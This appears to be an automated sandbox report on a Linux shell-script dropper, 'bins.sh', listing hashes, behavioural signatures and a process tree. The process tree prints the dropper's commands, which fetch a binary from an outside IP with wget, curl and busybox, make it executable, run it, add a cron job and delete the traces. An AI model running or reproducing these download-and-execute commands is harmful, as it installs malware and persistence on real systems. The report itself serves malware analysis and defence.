Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 18:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bff584999b22d9de46e6deaafea9275

  • SHA1

    efd709e5f86dd46ec4ec77ba703a641fbbbc5b6c

  • SHA256

    4096659489b539ac00df12c2c960bb1c87cd7b1998118c549a4466cccb969e15

  • SHA512

    e50cd035449bac71d40281310f9e20c6f8fa30bc7b586b890918eb8481c6e1dca4853d3353e0c54d9674f7040941278b65c9969ff25bb74473ca756099d8f8cc

  • SSDEEP

    192:HImmkdESJRVe2tmuUUaTKamuUWJRVCmmkds:HImmkdESJRc2LaTKeJRkmmkds

Malware Config

Signatures

  • Contacts a large (2142) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:686
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:694
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:696
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:697
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:699
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:701
              • /bin/rm
                rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
                2⤵
                  PID:714
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
                  2⤵
                    PID:718

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.J9lcYP

                  Filesize

                  210B

                  MD5

                  4ff0ae1bb8ac357b68757055d3d0c1a8

                  SHA1

                  cb109725082482a7d9e48ddc4d650b49ebecb306

                  SHA256

                  bfc648d37638a23fcdef70a3d631989c58a0dd760f747c2355404bf74a0150c0

                  SHA512

                  7cb4bafc1c83f9375507cf80f94c32025ef1a1742aedc47e26e7802e4a7cf8a7af9e4e2739e3f1d52ac43ee2614ac0270ab214bcf37e57f31b08cc5070f8856c